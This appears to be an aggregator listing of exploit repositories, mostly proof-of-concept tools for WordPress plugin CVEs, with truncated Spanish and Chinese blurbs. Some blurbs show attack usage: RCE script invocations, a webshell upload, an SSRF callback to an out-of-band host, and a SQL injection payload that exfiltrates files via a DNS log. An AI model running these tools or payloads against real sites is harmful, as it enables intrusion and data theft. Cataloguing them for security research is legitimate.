typehub-exploiter

typehub-exploiter GILANG - Explotador para CVE-2021-25094 referencia: https://darkpills.com/wordpress-tatsu-builder-preauth-rce-cve-2021-25094/ payload: site.com/wp-admin/admin-ajax.php ruta del bug: site.com/wp-content/uploads/typehub/custom/ Gracias a: Ibnudz, Dark clown security saludos: Garud...

CVE-2026-89055

CVE-2026-89055 — Customer Reviews for WooCommerce CusRev Omisión de Autorización PoC en Python 3 para CVE-2026-89055 en Customer Reviews for WooCommerce customer-reviews-woocommerce / Ivole CusRev. Descripción PoCbit / GitHub CVE-2026-89055 — Customer Reviews for WooCommerce CusRev ≤ 5.120.0 es...

CVE-2022-0169

CVE-2022-0169 — PoC de inyección SQL en WordPress Photo Gallery Este es un proof-of-concept PoC sencillo en Python para CVE-2022-0169 , una vulnerabilidad de inyección SQL en el plugin WordPress Photo Gallery. Qué hace Comprueba la versión de WordPress si está disponible Explota el endpoint...

SSI-CVE-2022-21661

SSI-CVE-2022-21661 信息系统安全第二次作业 研究并利用 CVE-2022-21661 漏洞，该漏洞允许通过插件 POST 请求对 5.8.3 以下版本的 WordPress 进行 SQL 注入。 配置环境 要启动并配置环境，只需运行： root@kitploit: docker-compose run --rm wordpress-cli 系统要求 Docker Docker-Compose Python 3.9+ Argparser Hashcat 运行示例 在 example.md 文件中，您可以跟随一个小教程，其中包含一些示例，帮助您开始利用此漏洞。 漏洞利用本身...

CVE-2024-2961

Buddyforms 2.7.7 CNEXT RCE Abusando de CVE-2024-2961 y CVE-2023–26326 para RCE Uso root@kitploit: git-clone https://github.com/suce0155/CVE-2024-2961buddyforms2.7.7 pip install -r requirements.txt python3 buddyforms2.7.7cnextexploit.py http://site/wp-admin/admin-ajax.php ip port Análisis y Detall...

CVE-2022-1386

CVE-2022-1386 - Fusion Builder 3.6.2 - SSRF no autenticado Descripción Fusion Builder es un plugin de WordPress que permite a los usuarios crear y editar páginas mediante una interfaz de arrastrar y soltar. Es vulnerable a un SSRF no autenticado que permite a un atacante leer cualquier archivo de...

CVE-2024-2961-Remote-File-Read

CVE-2024-2961 远程文件读取 此脚本演示了如何利用系统中使用 iconv 库时对字符编码转换处理不当的漏洞（如 CVE-2024-2961 所述）。它允许攻击者通过利用 PHP filter 链和有缺陷的编码处理来读取服务器上的任意文件。 该脚本自动化上传精心构造的有效载荷、获取结果文件并显示其内容的过程。它基于文章中详细描述的研究成果：Iconv CVE-2024-2961：利用字符编码转换 工作原理 脚本遵循以下步骤： 1. 有效载荷创建 创建一个 PHP filter 链有效载荷，利用 iconv...

CVE-2022-28590

CVE-2022-28590 原始发现和手动PoC来自 tuando243： Pixelimity 1.0 中通过 admin/admin-ajax.php?action=installtheme 存在一个远程代码执行（RCE）漏洞。 此PoC上传一个简单的webshell以便进一步远程代码执行。该利用程序要求服务器允许 system 函数，否则必须事先进行一些侦察以检测除了system之外哪些函数允许执行。 安装 root@kitploit: git clone https://github.com/jcarabantes/CVE-2022-28590.git python -m ve...

CVE-2026-1729-PoC-AdForest-WordPress-Authentication-Bypass

CVE-2026-1729 - Bypass de autenticación de AdForest WordPress PoC Descripción Prueba de concepto simple para CVE-2026-1729 PoC - Vulnerabilidad de bypass de autenticación en el tema AdForest de WordPress. Escrito por f3ds cr3w est 2oo2 blog Características ✅ Acceso directo de administrador sin...

CVE-2024-3673

CVE-2024-3673 CVE-2024-3673 利用：Web Directory Free WordPress 插件本地文件包含（低于 1.7.3 版本） 概述 CVE-2024-3673 描述了 Web Directory Free WordPress 插件（低于 1.7.3 版本）中的一个严重漏洞。该插件未能先验证参数就在 include 函数中使用该参数，导致本地文件包含（LFI）。这允许未经身份验证的攻击者读取服务器上的敏感文件。 受影响插件版本 受影响版本： --file 示例： root@kitploit: python3 CVE-2024-3673.py --url...

CVE-2024-6244

🚀 pz-frontend-manager = 1.0.5 - Explotación de CSRF de foto de perfil 🛠️ Descripción Este script explota una vulnerabilidad CSRF en el plugin de WordPress pz-frontend-manager versiones = 1.0.5 para cambiar la foto de perfil de un usuario autenticado sin su consentimiento. 🔴 CVE-2024-6244 El plugin...

CVE-2024-33911

The School Management 10.3.4 - Inyección SQL posterior a la autenticación Título del exploit: The School Management 10.3.4 - Inyección SQL posterior a la autenticación Fecha: 29 de abril de 2024 Autor del exploit: Ivan Spiridonov xbz0n Página principal del proveedor:...

CVE-2022-21661

Escáner de WordPress CVE-2022-21661 Uso root@kitploit: python wordpressscanner.py -H -p -ssl -proxy -path Ayuda root@kitploit: WordPress Scanner for CVE-2022-21661 options: -h, --help show this help message and exit -H HOST, --host HOST Host or IP address -p PORT, --port PORT Port number -ssl,...

cve-2025-1323

cve-2025-1323 WP-Recall Plugin SQL Injection ⚠️ Legal Disclaimer This tool is intended for authorized security testing and educational use only. Do not use against systems without explicit permission. Misuse may be illegal. ✅ Requirements Python 3.x requests module Install dependencies:...

Exploit for CVE-2026-17089

CVE-2026-17089 — Events Manager is in the response == RESU...

CVE-2022-1386-FusionBuilder-SSRF

CVE-2022-1386 – Fusion Builder Ejemplo: root@kitploit: python3 exploitcve20221386.py https://vulnerable.site https://abc123.oast.fun Usa Interact.sh o Burp Collaborator para recibir la devolución. 📋 Salida de ejemplo root@kitploit: Fetching nonce from target... Sending SSRF payload to...

CVE-2025-2539

CVE-2025-2539 - WordPress File Away = 3.9.9.0.1 - Lectura Arbitraria de Archivos 🔥 Resumen de la Vulnerabilidad El plugin de WordPress File Away versión = 3.9.9.0.1 es vulnerable a una vulnerabilidad de lectura arbitraria de archivos sin autenticación. Esto permite a los atacantes leer cualquier...

wordpress-CVE-2022-21661

wordpress-CVE-2022-21661 version5.8.3 ruta: http://your target/wp-admin/admin-ajax.php El tipo de inyección es fuera de banda, debes especificar tu propio dnslog y reemplazar ceye.io DATOS POST: "taxquery":"field":"termtaxonomyid","terms":"1 and ifselect loadfileconcat'\',select...

CVE-2026-6433

CVE-2026-6433 — Prueba de concepto FlipperCode — Custom CSS, JS & PHP · Inyección SQL no autenticada → RCE mediante eval Afectado: FlipperCode Custom CSS, JS & PHP ≤ 2.0.7 · superficie del plugin de WordPress expuesta mediante admin-ajax.php De un vistazo...

CVE-2025-57819_FreePBX

🛡️ CVE-2025-57819 – FreePBX 未认证 SQL注入到远程代码执行 PoC 本仓库包含两个针对 CVE-2025-57819 的 Python 概念验证 PoC 脚本，这是 FreePBX 中的一个关键 未认证 SQL注入漏洞 。 🧠 关于漏洞 CVE-2025-57819 CVE-2025-57819 影响多个版本的 FreePBX，允许 未认证的远程攻击者 通过 admin/ajax.php 中的漏洞参数执行 任意SQL查询 。 该漏洞源于 module=FreePBX\modules\endpoint\ajax 端点中 不充分的输入清理 ，导致后端查询中可直接进...